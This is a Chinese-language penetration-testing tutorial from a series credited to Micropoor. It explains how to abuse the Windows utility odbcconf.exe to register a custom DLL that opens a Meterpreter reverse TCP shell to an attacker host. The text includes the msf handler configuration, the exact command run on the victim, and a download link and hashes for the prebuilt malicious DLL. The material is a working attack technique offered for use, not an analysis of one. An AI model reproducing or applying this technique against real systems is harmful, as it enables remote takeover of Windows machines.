专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，可预防肾结石，通风等。

痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

Odbcconf简介：

ODBCCONF.exe是一个命令行工具，允许配置ODBC驱动程序和数据源。

微软官方文档：

https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017

说明：Odbcconf.exe所在路径已被系统添加PATH环境变量中，因此，Odbcconf命令可识

别，需注意x86，x64位的Odbcconf调用。

Windows 2003 默认位置：

C:\WINDOWS\system32\odbcconf.exe

C:\WINDOWS\SysWOW64\odbcconf.exe

Windows 7 默认位置：

C:\Windows\System32\odbcconf.exe

C:\Windows\SysWOW64\odbcconf.exe

攻击机： 192.168.1.4 Debian

靶机： 192.168.1.119 Windows 2003

192.168.1.5 Windows 7

配置攻击机msf：

注：x86 payload

1 msf exploit(multi/handler) > show options 2

3 Module options (exploit/multi/handler): 4

5 Name Current Setting Required Description

6 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 7

8

9 Payload options (windows/meterpreter/reverse\_tcp): 10

11 Name Current Setting Required Description

12 ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐

13 EXITFUNC process yes Exit technique (Accepted: '', seh, thread, proce ss, none)

14 LHOST 192.168.1.4 yes The listen address (an interface may be specifi ed)

15 LPORT 53 yes The listen port 16

17

18 Exploit target: 19

20 Id Name

21 ‐‐ ‐‐‐‐

22 0 Wildcard Target 23

24

25 msf exploit(multi/handler) > exploit 26

27 [\*] Started reverse TCP handler on 192.168.1.4:53 28

靶机执行：Windows 2003

注：文中为了更好的跨Windows 03--Windows 2016，Odbcconf for dll采纯C重新编写。

C:\Windows\SysWOW64\odbcconf.exe /a {regsvr C:\Micropoor\_Odbcconf.dll}

注：x64 Odbcconf.exe

附：

Micropoor\_Odbcconf.dll，已测Windows 2003 x64 Windows 7 x64注：

功能：reverse\_tcp IP:192.168.1.4 PORT:53。如有安全软件拦截，因Micropoor加入特征。

大小: 73216 字节

修改时间: 2019年1月19日, 21:29:11

MD5: B31B971F01DE32EC5EC45746BF3DDAD2

SHA1: CF42E4BF5A613992B7A563A522BBEBF1D0F06CCE CRC32: 28A1CE90

https://drive.google.com/open?id=1j12W7VOhv\_-NdnZpFhWLwdt8sQwxdAsk

Micropoor